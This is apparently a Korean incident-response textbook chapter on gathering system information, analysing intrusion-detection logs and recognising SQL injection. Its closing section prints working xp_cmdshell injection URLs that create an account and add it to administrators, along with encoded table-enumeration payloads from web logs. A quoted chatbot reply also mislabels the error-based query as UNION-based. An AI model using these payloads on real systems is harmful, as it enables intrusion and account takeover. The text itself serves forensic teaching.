OS에 대한 버전 정보를 수집하자. 각 버전별 지원되는 명령이나 서비스 팩에 따른 미묘한 차이가 존재 하기 때문에 이러한 차이를 사전에 확인하고 침해사고분석 시 반영한다. 일부 경우 OS버전이나 서비스팩 등의 차이로 결과가 틀려지거나 결과나 나오지 않을 수도 있다.
운영체제 버전 확인은 점검 대상 시스템 기본 정보 수집 중 하나이다. 먼저 윈도우의 경우자제적으로 제공되는 ver명령을 이용해서 운영체제 버전을 간단하게 확인할 수 있다. cmd명령 창에서 ver명령을 입력하면 아래 그림과 같이 버전 정보를 확인 할 수 있다.
그림 윈도우 버전 확인(ver)
좀더 자세한 정보를 확인할 때는 시작->실행 winver입력을 하여 운영체제와 서비스팩 정보까지 확인 한다
버전 정보를 확인하는 이유는 시스템에 영향을 미치는 취약점을 확인하기 위해서다. 공개된 취약점 공격 도구의 경우 OS나 응용프로그램 버전에 따라 영향 여부가 틀려진다.
winver 내장 명령을 사용할 경우 GUI기반으로 결과를 확인 할 수 있다. 이 경우 텍스트 기반으로 자동 스크립트 점검을 할 경우에는 문제가 발생한다. 이때 psinfo.exe 명령을 이용해서 텍스트 기반으로 결과를 확인할 수 있다. Sysinternals에서 제작된 툴 모음에 포함된다.
리눅스에서는 ‘uname’ 명령을 이용해 시스템 정보를 확인 한다. 커널 버전과 OS정보를 확인할 수 있고, 리눅스의 경우 Exploit마다 취약한 Kernel 버전이 있기 때문에 로컬 또는 원격에서 Exploit공격을 시도할 때 버전 정보가 중요하게 쓰인다.
$uname –a Linux ubuntu 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009 i686 GNU/Linux
파일시스템정보
파일 시스템 정보는 넓은 의미에 흔히 말하는 C, D, E 등의 파티션 정보나 물리적 디스크 정보를 말한다. 단순 시스템 경로 파악하거나 할당되지 않은 디스크 공간이 있는지 등을 확인한다. 일부 악성코드의 경우 비데이터 영역에 악성코드를 삽입해 구동되는 경우도 있다. 이러한 경우는 일반적인 점검으로 확인이 어렵고, 디스크 이미지를 추출해서 별도의 분석 툴을 이용해 물리 디스크 전체에 대한 점검을 진행해야 한다.
파일 시스템 구조를 알면 직접 디스크상에서 삭제된 파일, 악성코드, 숨김 파일 등을 분석할 수 있다. 좀더 상세한 분석이 필요하거나 법적 증거로 제출하기 위해서는 디스크 이미지를 추출해 분석해야 한다. 이 작업을 위해서는 전용 분석툴이 필요하다.
윈도우는 ‘컴퓨터 관리’ 메뉴에서 논리구조인 파티션과 물리구조인 디스크 정보를 확인할 수 있다.
리눅스 시스템의 경우는 ‘df’ 명령을 이용해 파티션 정보와 물리적 디스크 정보를 확인 할 수 있다.
IP정보 수집은 네트워크 관련된 기본 정보를 수집하는 과정이다. IP 정보 수집을 통해 현재 시스템의 네트워크 할당 정보를 확인한다. 간혹 한 개의 시스템에 2개의 다른 IP를 부여해 사용하기도 한다. 이 경우 공격자가 접근한 경로가 2개로 나뉘게 된다. 시스템에 부여된 IP 확인해 침해발생 시 추가로 접근 시도 가능성이 있는 내부 IP대역을 확인 한다. 통상 특정 시스템에 침해사고가 발생할 경우 해당 IP의 동일 서브넷에 포함되는 시스템의 경우 일단 침해가능성에 대해 의심해봐야 한다. 수집된 물리주소(Mac Address)는 ARP 스푸핑 공격 시 공격 시스템을 확인하기 위한 용도로 사용된다.
IP정보 확인을 윈도우는 명령 창에서 ‘ipconfig’ 명령을 이용해 확인 가능하다. 리눅스 시스템에서는 ifconfig 명령을 이용해 시스템에 할당된 IP를 확인 할 수 있다.
설치프로그램목록
설치 프로그램 목록은 악성코드 설치 확인이나 정상 소프트웨어 이지만 의도하지 않게 설치된 프로그램이 있는지 점검하고 침해사고와의 연관성을 확인하기 위해 점검 한다.
설치된 프로그램을 점검하는 관점은 설치된 소프트웨어 중 외부와 통신을 위해 사용하거나 시스템을 제어할 수 있는 권한을 가진 소프트웨어에 대해 살펴 보고, 해당 프로그램이 설치된 경우 설치 일자, 설치 계정, 수정일자 등을 이용해 침해사고를 분석하는데 실마리로 이용하게 된다.
윈도우에서 쉽게 확인하는 방법은 제어판의 “프로그램 추가/제거”를 실행 시켜 확인하는 것이다. 이 때 프로그램뿐만 아니라 윈도우 구성요소에 대해서도 확인이 가능하다. 이러한 방법은 GUI기반으로 이뤄지기 때문에 자동화된 스크립트로 결과를 저장하기 어렵다. 분석가가 직접 실행시켜서 눈으로 확인하는 방법이다. 프로그램 목록을 텍스트로 추출해서 일괄 분석에 사용하려면 레지스트리 정보를 이용해 추출 할 수 있다.
패키지정보
그림 프로그램 추가 제거
리눅스는 rpm명령을 이용해 다음과 같이 설치된 프로그램을 확인 할 수 있다. 관리자나 사용자가 설치한적 없는 프로그램이 깔려 있다면 공격자에 의해 설치된 것인지 의심해볼 수 있다.
윈도우의 경우 작업 스케줄러 구동 로그를 확인하여 스케줄러 작업을 통해 구동되었던 내역을 수집 할 수 있다. 해당 파일은 %SystemRoot%\tasks\SchedLgU.txt 경로에 존재한다.
작업 스케줄에 등록되어 구동을 시도하는 악성 코드나 비정상 서비스를 확인 할 수 있다.
“작업 스케줄러 서비스” 6.1.7600.16385 (win7_rtm.090713-1255) “작업 스케줄러 서비스” 2015-07-24 오후 4:52:26에 시작 “작업 스케줄러 서비스” 6.1.7600.16385 (win7_rtm.090713-1255) [ ***** 이 선 위에 가장 최근 항목이 있습니다 ***** ]
그림 시스템 구동 정보
명령 창을 통해서 수집 가능한 정보는 스크립트를 제작해서 하나의 파일에 추출 가능하다. 다음 샘플은 윈도우에서 기본 정보를 수집하는데 사용할 수 있는 점검 스크립트 파일이다.
이번에는 시그니처를 기반으로 공격을 찾아내는 방법에 대해서 살펴보자. 사실 시그니처가 있는 공격은 좀더 찾기가 쉽다. 앞서 비정상 상황을 구분하는 방식은 제로데이 공격과 같이 시그니처가 없거나 어떤 공격으로 들어 왔는지 모르는 경우에 접근하는 방법이다.
상대적으로 탐지 솔루션에서 패턴 매칭을 통해 정의된 시그니처명으로 이벤트가 탐지 되기 때문에 탐지된 이벤트만 확인하면 된다. 주로 해킹과 연관된 특징으로 검색 한다. 백도어와 연관된 경우 파일 명으로 접근이 가능하고, 명령을 실행할 경우에는 공격자가 자주 사용하는 명령어를 위주로 접근 한다.
그림 시그니처 기반
다음은 침해사고가 발생한 과정을 기술한 내용이다.
톰캣 서버에 접속하여 톰캣 서버의 관리자 페이지에 ‘job.war’라는 백도어 프로그램을 올렸다.올린 백도어 프로그램에 접속한 다음 1) ‘ipconfig’, ‘arp’, ‘netview’라는 명령어를 실행하여 IP 주소 등 시스템 정보를 획득하고, 2) ‘FX.EXE’라는 명령어를 실행하여 3389 포트(port)의 터미널 서비스를 기동하고, 3)’LCX.EXE’라는 명령어를 실행하여….……생략…..
공격자가 어떻게 접근했고, 어떤 명령을 실행했는지 기술되어 있다. 실제 침해가 발생 했을 때 앞서 언급된 ‘LCX.EXE’, ‘arp’ 등이 우리가 시그니처 기반으로 침해 흔적을 분석할 때 사용되는 키워드가 된다. 해당 키워드로 수집된 정보에서 일치하는 로그를 찾아낸다.
시그니처를 기반으로 탐지된 로그를 보면서 같이 분석해 보자. 다음은 시스템 명령 실행과 관련된 침입탐지시스템 로그다.
탐지시간
2015-11-05 11:27:28 KST
시그니처명
Microsoft_Windows_Shell_Banner
탐지건수
1
출발지IP
10.10.10.1
출발지포트
14072
도착지IP
172.16.20.114
도착지포트
53
프로토콜
Domain
배너
Microsoft Windows [Version 5.2.3790]..(C) Copyright 1985-2003 Microsoft Corp…..C:\WINDOWS\ime>
표 침입탐지시스템 로그 1
탐지시간
2015-11-05 11:27:47 KST
시그니처명
Microsoft_Windows_Shell_Banner
탐지건수
1
출발지IP
10.10.10.1
출발지포트
14073
도착지IP
172.16.20.114
도착지포트
80
프로토콜
http
배너
Microsoft Windows [Version 5.2.3790]..(C) Copyright 1985-2003 Microsoft Corp…..C:\WINDOWS\ime>
표 침입탐지시스템 로그 2
윈도우 환경에서 텔넷과 같은 서비스에 접속하게 되면 다음 그림과 같은 명령창이 생긴다.
그림 윈도우 쉘
탐지된 시그니처는 네트워크 통신 패킷에 윈도우 명령창이 발생하면 탐지된다.
탐지된 로그에 어떤 숨은 의미가 있을지 생각해보자. 탐지 로그를 분석하기 위해서는 먼저 로그 분석에 앞서 탐지된 시그니처에 대한 이해가 필요하다.
예제로 사용한 침입탐지로그는 공격자가 백도어 통신을 할 때 탐지되기도 하지만 텔넷과 같은 정상 통신 과정에서도 탐지된다. 그렇다면 예제로 설명한 탐지 로그에 차이점이 무엇인지 생각해보다.
탐지 로그를 자세히 살펴 보자. 탐지된 로그의 도착지 통신 포트가 80번 포트와 53번 포트다. 일반적으로 80번 포트는 웹 서비스에 사용되는 포트이고, 53번 포트는 도메인 네임 서비스(DNS)에 사용된다. 만약 정상 통신이라고 한다면 23번 텔넷 표준 포트를 이용했을 것이다. 공격자는 방화벽과 같은 접근 제어 시스템을 우회하기 위해 통신이 자유로운 80번과 53번 포트를 이용했을 가능성이 높다.
침해사고분석에 증거가 되는 확실한 정황을 찾았다면 실마리를 푸는 열쇠가 되기도 한다. 사례를 하나 더 살펴보자.
그림 SMB실행접근
탐지된 로그는 넷바이오스 통신을 통해 시스템 명령이 실행 되면 탐지 된다. 일반적으로 윈도우 서버를 서비스 목적으로 사용하는 기업에서 배치 작업을 실행하거나 일괄 명령 실행을 수행하는 경우 탐지될 수 있다.
이벤트 탐지 내역을 살펴보자. 접근한 통신 포트는 넷바이오스 통신에 사용되는 TCP 포트이고, 사용자 administrator도 특별한 이상한 점을 발견하지 못했다. 그렇다면 어떻게 위협을 구분할 수 있을까?
이번에는 실행된 파일명을 살펴보자. psexe.exe 파일이 실행되었다. 앞서 2장에서도 소개 했던 윈도우용 명령 실행 프로그램 이다. 넷바이오스 연결을 통해 배치 파일을 실행 시키거나 예약작업에 사용할 파일에 접근하는 경우는 있어도 명령을 실행 시키는 일은 드물다.
일반적인 사용 형태가 아니라면 상세하게 확인해 볼 필요가 있다.
그림 넷바이오스명령실행
해킹을 시도하는 공격자는 한번에 자기가 필요한 정보를 피해 시스템에서 훔쳐가지 않는다. 많은 과정과 여러 명령어를 실행하면서 정보 수집을 하고, 필요한 정보를 훔쳐간다.
이 과정에서 많은 명령이 실행되고 파일들이 생성되거나 실행된다. 여러분이 분석하는 로그에 공격자의 흔적이 분명히 남게 된다.
위협 분석 방법론은 쉽게 얘기해서 어떻게 분석을 할지 정의 하는 것이다. 가장 대표적인 분석 방법론으로 블랙리스트 방식과 화이트리스트 방식이 있다. 먼저 블랙리스트 방식은 기존에 위험하다고 알려져 있는 키워드나 이벤트를 중심으로 수집된 정보를 분석하는 방법이다. 방대한 정보에서 정해진 정보만을 검색하기 때문에 상대적으로 분석 소요 시간이 짧다. 하지만 알려진 정보를 가지고 검색하기 때문에 언노운[1] 공격은 찾아내기 어렵다. 반대로 화이트 리스트 방식은 확인된 정상 범주의 정보를 제외한 모든 정보를 분석하는 방법이다. 블랙리스트 방식에 비해 분석할 양도 많고 분석 시간도 많이 소요 된다. 하지만 언노운 공격도 분석이 가능한 방법이다.
분석한 이벤트가 왜 공격인가에 대해서 정의하기 위해서는 먼저 왜 공격이 아닌지 알고 있어야 한다. 다시 말해 정상 통신이나 정상 행위가 무엇인지 알고 있어야 한다. 보안을 입문하는 사람들에게 기본을 강조하는 이유이기도 하다. 애플리케이션이나 네트워크 통신이 어떻게 이뤄지는지 알고 있다면 정상 통신과 비정상 통신을 구분할 수 있다.
텔넷이나 SSH, 원격데스크탑 연결 등 사용자 대화 방식(user interaction) 기반 통신은 해킹에 자주 사용되는 통신 방식이다.
다음 표는 침입탐지시스템에서 추출한 침입탐지 이벤트에 대한 정보를 요약한 표다.
탐지항목
탐지정보
이벤트 수집 기간
3개월
탐지 시그니처 이름
TCP_Invalid_SACK
출발지 IP
10.0.0.1
출발지 포트
랜덤
도착지 IP
랜덤
도착지 포트
랜덤
총합
1441 건
표 IDS 이벤트 분석 정보 요약
TCP_Invalid_SACK 라는 침입탐지시스템 시그니처는 비정상 SYN 패킷과 ACK 패킷에 의해 발생된다. 일반적으로 TCP 통신은 프로토콜에 정해진 방법으로 필요한 통신 패킷을 주고 받는다. 하지만 통신에 사용되는 프로그램이나 네트워크 특성에 따라 정해진 프로토콜과 다른 방식으로 통신하는 현상이 발생한다. TCP_Invalid_SACK 시그니처는 이러한 현상을 기록한다.
이러한 이유로 공격자가 비표준 방식의 프로그램을 사용할 때도 통신 내역이 탐지된다. 물론 탐지된 정보에는 공격자의 통신만 기록되진 않는다. 탐지된 1441건의 이벤트에 공격자가 통신한 횟수는 소수일 것이다. 보안 분석가는 이벤트 분석을 통해 소수의 공격 탐지 건수를 찾아야 한다.
정상 통신과 비정상 통신을 구분하기 위해 먼저 전체 통신 내역을 하나의 큰 그림으로 정리할 필요가 있다. 각각의 날짜에 어떤 포트들이 사용됐고, 사용된 횟수를 누적한 정보를 표로 정리할 수 있다.
포트 통신 통계
표를 작성하는 과정은 유튜브 영상을 참고 할 수 있다.
이제 추출한 로그에서 어떤 공격이 발생했는지 같이 분석해 보자.
정상 통신과 비정상 통신의 차이가 무엇 일까?
그 차이를 구분하기 위해서는 여러분들은 정상 통신과 비정상 통신의 기준을 만들어야 한다. 정상과 비정상 통신의 차이를 접속횟수라는 기준으로 가정해 보자. 좀더 구체적으로 이전보다 갑자기 접속횟수가 4배 이상 증가된 경우 비정상 통신으로 가정해 보자.
앞서 표로 만들었던 통신 포트 통계를 다시 살펴보면 이상한 현상이 눈에 들어 올 것이다.
포트 통계 표에 22, 1501, 8002번 포트의 접속 횟수가 비정상적으로 증가 하거나 감소한 것으로 알 수 있다. 여기까지는 분석하는 사람의 가설에 의한 의심이고 정확한 분석을 위해서는 상세한 내역을 보고 판단하자.
각각의 통신 내역을 상세하게 살펴보자.
먼저 22번 포트의 통신 내역을 살펴보자. 의심스러운 통신 내용 중 어느 것을 먼저 볼지는 분석하는 사람들의 의도에 따라 적절히 판단하자.
이번 경우에는 사용자가 시스템에 명령(user interaction)을 주고 받을 수 있는 SSH통신이 위험도가 높기 때문에 SSH접근 내역에 대한 분석을 먼저 진행 했다.
엑셀로 추출한 로그를 분석할 때는 원본 정보가 변경되는 것을 막기 위해 파일을 복사해서 작업하거나 파일에 새로운 시트를 추가하고 복사한 정보를 가공하자.
분석할 정보가 22번 포트 통신에 대한 내용이기 때문에 나머지 통신에 대해서는 일단 제외 처리한다. 엑셀의 필터 메뉴를 이용해서 22번을 제외하고 모든 숨긴 후 탐지로그를 복사한다.
그림 SSH 탐지 로그 분석
도착지 포트(Target Port) 22번 포트에 대해서만 별도로 추출했기 때문에 이제 날짜별로 공격대상이 어떻게 이뤄지는지 살펴 보자.
날짜와 도착지 IP 컬럼만 선택해서 새로운 시트에 복사하고, 피벗 테이블을 작성한다.
그림 공격대상 분석
22번 포트로 통신한 도착지 IP에 대한 현황 정리가 완료 되었다. 하나의 출발지 IP에서 여러 도착지 IP에 접근을 했고, 접근을 시도했던 날짜도 19일에 집중되어 있다.
19일 날짜에 접속된 통신 내역을 다시 한번 상세하게 살펴본다.
19일에 발생된 침입탐지 로그만 선택해서 새로운 시트에 복사 한다. 복사한 로그를 다시 한번 피벗 테이블을 이용해서 시간대별 통신한 도착지 IP를 정리한다.
피벗 테이블을 만드는 방법은 다음 순서로 진행 한다.
피벗 테이블을 생성하고 행 필드에 시간을 끌어서 이동
열 필드에 Target IP를 끌어서 이동
값 필드에 Target IP를 끌어서 이동
그림 시간대별 통신 분석 1그림 시간대별 통신 분석 2
완성된 테이블을 살펴보자. 새벽 4시를 시작으로 서로 다른 시스템에 1~2회씩 통신이 약 30초에서 1분 간격으로 이뤄졌다.
이렇게 통신이 발생될 수 있는 유형은 대표적으로 다음 2가지 형태가 있다.
예약된 작업에 의해 정기 점검
스캐닝 프로그램에 의한 네트워크 포트 스캔 시도
예약된 작업의 경우는 매주 지정 요일이나 매달 지정날짜에 발생하기 때문에 해당되지 않는다. 스캐닝에 의한 접근 시도일 가능 성이 높다. 내부 시스템간에 스캐닝이 발생했다는 것은 출발지 IP가 공격자에 장악됐을 가능성이 매우 높다. 공격에 사용된 내부 시스템을 찾아낸 것이다.
공격자는 백도어가 설치된 내부 시스템(10.0.0.1)을 경유해 2차 공격을 수행했다.
사전에 수집했던 로그인 정보를 이용해 단순 스캔이 아닌 시스템 로그인에 성공했고, 접속한 시스템에 공격 스크립트를 실행했다.
공격자는 공격 스크립트를 통해 하드디스크에 ‘PRINCIPES’ 문자열로 채워서 디스크를 못쓰게 만드는 명령을 실행했다.
많은 탐지 로그 중에서 이전 대비 급격한 통신 횟수의 변화가 생긴 로그를 의심 행위로 간주했다. 짧은 시간(수초 간격)에 다수의 시스템에 접속한 시스템 로그를 추출했고, 상세 분석을 통해 공격자에 의한 시스템 피해를 확인했다.
특정 문구가 아닌 횟수 변화를 이용해 공격을 구분하는 방법이 임계치 기반의 분석 방법이다.
임계치 기반의 상관 분석을 위해서는 기본 프로파일 정보가 필요하다. 프로파일을 정의 하는 방법은 정상 상황을 정의하고 이에 벗어나는 상황을 분리한다.
앞서 살펴본 예제에서는 정상 상황의 통신은 꾸준하게 통신이 발생한다라는 프로파일을 정의 한 것이다. 이를 기준으로 꾸준하기 않은, 즉 “접속횟수가 이전보다 N배 이상 차이가 나는 것”을 의심스런 통신으로 정의 했다.
프로파일 정의에 사용될 수 있는 정보
매시간 외부와 주고 받는 최대 트래픽 수치
매일 외부와 주고 받는 최대 트래픽 수치
비업무 시간 외부와 통신하는 내부 시스템 수
외부로 중요한 데이터가 유출되었다고 가정해 보자. 해당 데이터는 일반적으로 주고 받는 파일보다 매우 큰 파일이라고 했을 때, 아래 그래프와 같이 평상 시 트래픽을 벗어나 급증한 그래프는 해당 가설을 입증하는 데이터가 될 수 있다.
그림 임계치 기반 분석
통계학적인 관점에서 접근하는 방법으로 침입탐지시스템 로그를 이용해 다음과 같이 이상 통신에 대한 기준을 정의할 수 있다.
공격자/피해자 분석
시스템에 이상이 발생하거나 악성코드가 설치된 시점을 기준으로 관련 이벤트를 검색하고 검색한 이벤트를 이용해 공격 대상을 추출한다. 특정 사건이 발생된 시간이 확인되면 이전에 발생한 이벤트를 분석한다. 침해사고가 발생되면 공격자에 대해 역추적하는 과정이다.
최초 공격을 위해 사전 공격 시점이 언제인지 분석을 하고, 이 후 취약점을 이용해 공격이 성공한 시점을 찾는다.
예제를 살펴보자. 침입탐지시스템 로그에서 공격을 시도한 IP와 공격자가 사용한 취약점을 분석하는 과정이다.
피해를 받은 대상 시스템을 구분하기 위해 침입탐지시스템 로그에서 공격 대상별로 이벤트 발생 시간을 목록화 한다. 단순 스캔 시도한 탐지 로그를 제외하고 대상 시스템을 목록화 한다.
다음 표처럼 대상 시스템 목록과 각각의 대상 시스템이 8월 한달 동안 공격 받았던 취약점 종류(탐지수), 공격자 IP 종류를 목록화 한다.
대상시스템
탐지수
공격자IP 종류
최초 이벤트 발생 시간
최종 이벤트 발생 시간
타켓시스템1
9994
4550
2015-08-01 0:00
2015-08-30 15:00
타켓시스템2
6519
2433
2015-08-01 0:00
2015-08-30 15:00
타켓시스템3
75
1
2015-08-01 0:00
2015-08-30 14:00
타켓시스템4
74
1
2015-08-01 0:00
2015-08-30 14:00
타켓시스템5
9878
1495
2015-08-01 0:00
2015-08-30 15:00
타켓시스템8
128426
8277
2015-08-01 0:00
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표 공격 대상 시스템 목록
반대로 공격을 시도했던 공격자 IP를 목록화 하고, 침해사고 원인을 역추적하는 방법도 있다.
앞서 보안 위협 분석을 위해 어떠한 정보가 필요한지와 필요한 정보를 수집하는 방법을 살펴 봤다. 이번 장에서는 수집한 정보를 분석해 위협이 되는 이벤트와 그렇지 않은 이벤트를 구분하는 방법을 살펴 볼 것이다.
일반적으로 보안분석가가 보안 위협을 구분하는 과정은 다음과 같다. 보안 위협이나 피해 형태에 따라 필요한 방법론을 정의 하고, 방법론에 적합한 증거를 수집한다. 수집한 증거는 가공 과정을 거쳐 분석에 필요한 정보를 찾아낸다. 분석된 결과는 업무프로세스에 따라 보고 과정을 거쳐 최종적으로 의사 결정자에 의해 결론을 정의 한다.
분석에 사용될 방법론은 위협을 구분하고, 식별하기 위해 어떤 방법을 사용할지 정의 하는 것이다. 공격과 관련된 알려진 특징을 이용할 수도 있고, 수집된 정보를 가공해 통계적인 수치를 이용해 위협을 식별할 수도 있다.
필요한 분석 방법에 따라 수집되는 정보도 차이가 난다. 공격의 특징을 이용해 위협을 분석하기 위해서는 시그니처 기반의 탐지 정보가 필요하지만 통계정보를 이용하기 위해서는 수치화된 정보가 필요 하다.
필요한 정보가 수집이 완료되면 데이터를 가공해서 불필요하거나 분석 우선 순위가 낮은 데이터를 제외한다. 처음부터 끝까지 모든 정보를 분석하면 좋겠지만 제한된 시간과 자원을 가지고 분석하기 때문에 효율적으로 작업 해야 한다.
데이터가공까지 완료되면 위협을 식별하고 식별된 위협 결과에 따라 피해범위와 대응방안을 수립한다. 분석가에게 중요한 역량은 IT보안사고와 연관된 원인을 정확히 규명하고 사고로 인한 피해 범위를 정확히 파악하는 것이다. 분석가의 결론으로 기업이나 조직에 미치는 피해 범위를 정의한다.
분석된 내용은 보고서로 작성해서 대응방안과 함께 의사결정자에게 제공한다. 분석 결과는 의사 결정에 필요한 필수 정보로 사용된다.
SQL Injection 공격은 1998년 처음 발표되고, OWASP에서 2003년 부터 지속적으로 심각한 취약점 Top 10으로 꾸준히 발표되고 있다. 최초 공격이 발견되고 대규모 공격 툴들이 사용되면서 많은 기업의 웹 사이트에 피해를 발생 시켰다. 현재도 SQL Injection 공격을 자공화된 공격 형태로 지속적으로 발생하고 있다.
SQL Injection공격은 URL요청 또는 웹 요청에 포함되는 파라미터 값에 SQL 구문이나 시스템 명령을 삽입하는 형태의 공격이다. 웹 사이트에서 많이 사용되는 게시판이나 방명록, 검색 기능과 같이 데이터베이스와 연동하여 사용하는 Web Application을 대상으로 발생되는 공격으로 SQL 쿼리 구문 조작을 통해 인가되지 않은 정보를 조회하거나 데이터베이스 내용을 조작할 수 있다. 혹은 확장 프로시저를 이용할 경우 시스템 명령을 실행할 수 있다.
SQL Injection 공격으로 인한 대표적인 피해 사례는 정보 유출이다. SQL Injection 취약점이 발표되고 취약점을 이용한 공격툴이 많이 제작 되었다. 제작된 툴들은 업그레이드를 통해 기능이 점차 다양해 지고 강력해 졌다. 자동화된 공격툴은 단순 클릭 몇 번만으로도 사이트에 가입한 회원들의 개인정보 획득이 가능하다.
공격의 기본적인 원리에 대해 이해하기 위해 예전 2009년도 집필했던 보안 서적의 관련 자료를 인용해 공격 취약점에 대해 설명한다.
C드라이브 목록 반환
xp_cmdshell명령을 이용해 시스템 명령을 실행 하거나 결과를 파일로 저장 할 수 있다. 최근에 사용되는 데이터베이스의 경우 해당 기능의 강력함으로 기본 설정은 사용이 중지 되어 있다. 하지만 모든 보안사고는 취약한 서버 설정으로 인해 공격이 시작 되듯이 해당 설정이 편의를 위해 사용하는 경우도 있다.
이러한 시스템 명령 실행 기능을 이용해 공격자는 데이터베이스에 전달되는 인자 값에 공격을 목적으로 하는 구문을 추가하여 전달한다. 실제 Web Application 파라미터 값이 데이터베이스에 전달 되는 과정에서 공격자에 의해 특정 데이터베이스구문이 추가 되었을 경우 발생되는 결과를 살펴 보자. 아래 코드는 데이터베이스의 특정 게시판의 글을 DB Query 구문을 이용해 가져오는 코드 샘플이다.
function getList(table_key)
dim sql_query, get_list, result
sql_query=”SELECT * FROM Board WHERE table_key=”&table_key
set get_list = conn.execute(sql_query)
getList = result
end function
getList함수는 인자 값을 전달 받아 해당 값을 SQL Query구문에 삽입해 SQL Query를 수행 하고, 수행된 결과를 다시 돌려준다. 위 코드의 table_key 변수가 사용자 또는 Web Application으로부터 전달 받는 파라미터 값이 라고 가정했을 경우 해당 파라미터 값을 아래와 같이 요청할 경우에는 vistor 값 외에 추가로 ‘;exec master..xp_cmdshell ‘net user user_test test4321 /add’;– 구문이 전달된다.
Board=visitor’;exec master..xp_cmdshell ‘net user user_test test4321 /add’;–
추가된 구문은 앞에서 설명한 확장 저장 프로시저로 user_test 라는 계정을 추가하는 시스템 명령 쉘을 생성한다. 프로그램에 의해 수행되는 전체 SQL 실행 구문을 조합해 보면 다음과 같다.
SELECT * FROM Board WHERE table_key=’;exec master..xp_cmdshell ‘net user user_test test4321 /add’;–
구문 마지막에 하이픈(-)을 2개 붙인 이유는 뒤쪽에 추가로 붙게 되는 SQL 구문이 있을 경우 구문오류가 발생 할 수 있기 때문에 추가로 붙는 SQL 구문은 주석처리가 되어 구문 오류를 방지하기 위함이다.
관리자 권한으로 계정 추가
오류가 발생된 URL을 이용해 테스트를 진행해 보기로 하자. SQL Injection 취약점을 이용해서 xp_cmdshell을 실행시켜 실제 시스템에 test_user라는 사용자를 추가 한다.
사용자계정추가
http://www.test.co.kr/xxx/vul_page.asp?vul_parmeter=1234′;exec master..xp_cmdshell ‘net user user_test test4321 /add’;–
시스템 명령 net user를 이용해서 user_test 계정을 추가한다.
컴퓨터 관리 > 로컬 사용자 및 그룹 > 사용자
SQL Injection 공격에 의한 user_test 계정 생성
컴퓨터의 로컬 사용자 및 그룹에 사용자 정보를 확인해 보면 SQL Injection공격을 통해 user_test계정이 생성된 것을 확인 할 수 있다.
②추가한 계정의 사용자 관리자 그룹에 구성원 추가
사용자를 추가 한 후 동일한 방식으로 사용자를 administrators그룹에 저장한다 http://www.test.co.kr/ xxx/vul_page.asp?vul_parmeter=0000000001′;exec master..xp_cmdshell ‘net localgroup administrators user_test /add’;–
시스템 명령 net localgroup을 이용해서 user_test 계정을 관리자 그룹에 구성원으로 추가한다.
사용자 그룹 추가
관리자 권한의 계정을 공격대상 시스템에 생성 하였고, 외부에서 접근 가능한 Service(Remote Terminal, Telnet, FTP, …)에 접근이 가능해 졌다. SQL Injection 취약점을 이용해 시스템 명령을 실행 하였고, 사용자 계정도 추가 되었다.
복잡한 해킹 공격 과정이 필요 한 것도 아니다. 단순 개발 과정에서 파라미터로 전달되는 입력값의 검증 부재와 편의를 위해 ODBC설정을 sa(설치 시 생성하는 계정으로 SQL서버의 모든 권한을 갖는다)계정으로 연동 함으로써 sa계정 권한으로 시스템 명령 수행이 가능했다.
이때 이용되는 확장저장프로시저는 xp_cmdshell, xp_dirtree 등이 사용된다. 사실 xp_cmdshell의 경우 일반적인 MS-SQL DB와 연동된 웹 프로그래밍에서 사용되지 않는다. 일차적으로 취약점이 노출되어 시스템 계정이 획득되면 차후 재 접근을 용이 하기 위해 시스템에 백도어 파일을 설치 하게 된다.
사용자 추가 시 발생되는 웹 로그
오류가 발생된 URL을 이용해 테스트를 진행해 보기로 하자. SQL Injection 취약점을 이용해서 xp_cmdshell을 실행시켜 실제 시스템에 test_user라는 사용자를 추가 한다.
예전 많이 사용되었던 HDSI 공격툴은 중국에서 제작된 자동화 공격툴로 SQL Injection 취약점을 이용해 시스템 명령 실행, DB정보 획득, 악성코드 삽입 등의 기능을 제공한다.
먼저 데이터베이스가 노출될 경우 발생하는 웹 로그를 살펴 보자. SQL Injection에 취약한 URL이 존재 할 경우 자동화 공격툴을 이용해 DB에 저장된 정보를 손쉽게 획득할 수 있다. 다음 화면은 자동화된 공격툴을 이용해 데이터베이스 정보를 추출하는 화면 입니다.
HDSI SQL Injection 공격툴
공격 시 웹 서버에 기록된 웹 로그는 다음과 같습니다. 자동화된 공격툴을 이용해 취약한 URL의 파라미터로 SQL 인젝션 공격이 이뤄 진다. 삽입된 SQL 구문은 데이터베이스의 테이블 이름을 목록화 하기 위해 셀렉트문을 실행 한다. SQL 쿼리구문 실행 과정에서 오류정보에 테이블 이름을 수집 할 수 있다. 자동화된 공격툴이 실행시킨 SQL문과 유출된 테이블 정보는 웹 로그에 기록 된다.
– 21:06:47 192.168.228.1–192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter=0000000001’%20%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20from(Select%20Top%2014%20id,name%20from%20[test]..[sysobjects]%20Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0%20And%20’’=’|7|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_varchar_value_’^tbl_discussion^’_to_a_column_of_data_type_int. 500
– 21:06:48 192.168.228.1–192.168.228.100 80 GET / xxx/vul_page.asp?vul_parmeter=0000000001’%20%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[test]..[tbl_discussion]%20Where%201=1)>0%20And%20’’=’|7|80040e07|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Syntax_error_converting_the_varchar_value_’⁰^’_to_a_column_of_data_type_int. 500
SQL Injection 공격은 취약한 URL의 매개변수로 자동화된 공격 도구를 사용하여 수행 된다. URL 정보는 인코딩되어 있으므로 먼저 디코딩해야 한다. 자동 변환 사이트도 있지만 ChatGTP를 이용한 쉽게 파라미터 구문을 확인할 수 있다.
0000000001′ And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(Select Top 14 id,name from [test]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)>0 And ‘’=’|7|80040e07|
이 문자열은 공격자가 SQL 쿼리를 악용하여 데이터베이스에서 정보를 추출하려는 UNION 기반 SQL 주입 공격을 시도하고 있음을 시사합니다.
SQL 주입 공격을 수행하거나 시도하는 것은 불법이고 비윤리적이라는 점에 유의하는 것이 중요합니다. 보안 취약점이나 시도가 의심되는 경우 해당 기관이나 조직의 보안 팀에 보고하는 것이 좋습니다.
시스템 명령 실행 시 발생되는 웹 로그
